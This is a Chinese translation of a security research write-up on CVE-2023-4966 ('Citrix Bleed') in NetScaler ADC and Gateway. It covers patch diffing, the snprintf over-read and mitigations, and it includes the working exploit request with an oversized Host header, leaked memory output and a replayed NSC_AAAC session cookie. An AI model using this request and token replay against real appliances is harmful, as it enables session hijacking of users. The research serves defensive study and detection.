Citrix滴血:CVE-2023-4966 泄漏Citrix会话Token

admin 2024年2月15日20:36:56评论8 views字数 5612阅读18分42秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。

背景介绍

本月早些时候,Citrix 发布了一份安全公告,其中提到了“未经身份验证的缓冲区相关漏洞”和两个 CVE。这些问题影响了 Citrix NetScaler ADC 和 NetScaler Gateway。

该漏洞被描述为“敏感信息泄露”,CVSS 评分为 9.4。信息泄露漏洞的高分以及“缓冲区相关漏洞”的提及引起了国外研究人员的兴趣。

本文的目的是了解该漏洞并为攻击面管理平台开发检查规则。

对于那些不熟悉 Citrix NetScaler 的人来说,它是一种提供负载均衡、防火墙和 VPN 服务的网络设备, NetScaler Gateway 通常指 VPN 和身份验证组件,而 ADC 指负载均衡和流量管理功能。

对于只想查看漏洞利用或泄露测试的人,可以观看以下演示视频:

请点击文末“阅读原文”观看。

补丁对比

首先安装和配置要比较的两个版本。本文选择了13.1-49.15和13.1-48.47,通过之前使用 NetScaler 的经历,需要查看 /netscaler/nsppe 二进制文件,这是 NetScaler 数据包处理引擎,它包含了完整的 TCP/IP 网络堆栈以及多个 HTTP 服务,如果 NetScaler 中存在漏洞,那么首先要注意的就是这个漏洞。

研究人员使用 Ghidra 反编译了两个版本的 nsppe,并使用 BinExport 扩展创建了 BinDiff 文件,由于二进制文件非常大,因此该过程持续了一段时间,为了确保成功,研究人员将“编辑”->“工具选项”->“反编译器”下的反编译器设置调整为以下内容:

  • Cache Size (Functions): 2048
    缓存大小(功能):2048

  • Decompiler Max-Payload (Mbytes): 512
    反编译器最大有效负载(MB):512

  • Decompiler Timeout (seconds): 900
    反编译器超时(秒):900

  • Max Instructions per Function: 3000000
    每个功能的最大指令数:3000000

创建 BinDiff 文件后,开始进行比较,发现了大约 50 个函数发生了变化。

寻找易受攻击的函数

研究人员发现了两个突出的函数 ns_aaa_oauth_send_openid_config 和 ns_aaa_oauthrp_send_openid_config,这两个函数执行类似的操作,它们实现 OpenID Connect Discovery 端点,这些功能可以分别通过 /oauth/idp/.well-known/openid-configuration 和 /oauth/rp/.well-known/openid-configuration 端点进行未经身份验证的访问。

这两个函数还包含相同的补丁,即发送响应之前的额外边界检查,可以在下面的代码片段中看到,显示了ns_aaa_oauth_send_openid_config 的前后变化。

原先代码:

iVar3 = snprintf(print_temp_rule,0x20000,

"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"

,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);

authv2_json_resp = 1;

iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

generic

986 Bytes

© Guge's Blog

修复后代码:

uVar7 = snprintf(print_temp_rule,0x20000,

"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"

,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);

uVar4 = 0x20;

if(uVar7 <0x20000){

authv2_json_resp = 1;

iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);

...

}

generic

1.02 KB

© Guge's Blog

该函数非常简单,它为 OpenID 配置生成 JSON Payload,并使用 snprintf 在Payload中的适当位置插入设备的主机名,在原始版本中,响应是立即发送的,而在修补版本中,仅当 snprintf 返回小于 0x20000 的值时才会发送响应。

该漏洞的产生是因为snprintf的返回值用于确定ns_vpn_send_response向客户端发送了多少字节,这是一个问题,因为 snprintf 不会返回它写入缓冲区的字节数,如果 snprintf 返回的缓冲区足够大,就会写入缓冲区的字节数。

为了利用这一点,我们需要做的就是弄清楚如何使响应超过 0x20000 字节的缓冲区大小,然后,应用程序将使用完全填充的缓冲区以及紧随 print_temp_rule 缓冲区的任意内存进行响应。

漏洞利用

插入Payload中的值不是来自配置的主机名,实际上来自 HTTP Host Header。

幸运的是,NetScaler 将主机名插入到 Payload 中6次,这就意味可以达到 0x20000 字节的缓冲区限制,而不会因为主机标头或整个请求太长而遇到问题。

请求如下:

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1

Host: a <repeated 24812 times>

Connection: close

generic

105 Bytes

© Guge's Blog

收到的响应如下所示(其中删除了部分不可打印的字符):

HTTP/1.1200 OK

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Length: 147441

Cache-control: no-cache, no-store, must-revalidate

Pragma: no-cache

Content-Type: application/json; charset=utf-8

X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡

ð

í§¡-ª¼tÙÌåDx013.1.48.47à

d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK

Content-Length: @@@@@

Encode:@@@

Cache-control: no-cache

Pragma: no-cache

Content-Type: text/html

Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}

ð

å

å

PÏÏ

éÒÏ

eGÁ"RDEFAULT

ò #pack200-gzip

compressdeflategzip

dentity

þÿÿÿÿÿ

©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí

generic

827 Bytes

© Guge's Blog

可以清楚地看到紧随 JSON 之后的大量内存泄漏,虽然其中很多是空字节,但响应中确实存在一些可疑的信息。

验证会话Token

由于 print_temp_rule 缓冲区是静态全局的,因此每次得到的响应都是相同的,这也使得测试变得容易,研究人员不必为了找到某些东西而运行请求数千次。

研究人员能够可靠地获取在响应中看到的 65 字节长的十六进制字符串,并通过将其用作 NSC_AAAC 会话 cookie 来验证它是否是有效的会话 cookie。

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1

Host: 192.168.1.51

Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42

Content-Length: 0

Connection: close

HTTP/1.1200 OK

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Length: 4

Cache-control: no-cache, no-store, must-revalidate

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

X-Citrix-Application: Receiver for Web

testuser1

generic

453 Bytes

© Guge's Blog

并非每个 NetScaler 实例都配置为使用相同类型的身份验证,但在研究人员测试过的实例子中都可以在响应中找到 32 或 65 字节长的十六进制字符串。

最后的想法

尽管建议使用 snprintf 作为 sprintf 的安全替代,但仍需谨慎,使用 snprintf 虽然避免了缓冲区溢出,但随后的缓冲区过度读取仍会是一个问题。

与 Citrix NetScaler 之前的问题一样,由于缺乏其它深度防御技术和缓解措施,该问题变得更加严重。

不清除临时缓冲区中的敏感数据,以及对客户提供的数据进行更严格的验证,这两项最明显的缓解措施本可将损失降至最低。

原文:https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966?ref=weekly.infosecwriteups.com

由骨哥翻译并整理。

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

原文始发于微信公众号(骨哥说事):Citrix滴血:CVE-2023-4966 泄漏Citrix会话Token

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日20:36:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Citrix滴血:CVE-2023-4966 泄漏Citrix会话Tokenhttp://cn-sec.com/archives/2166714.html

发表评论

匿名网友 填写信息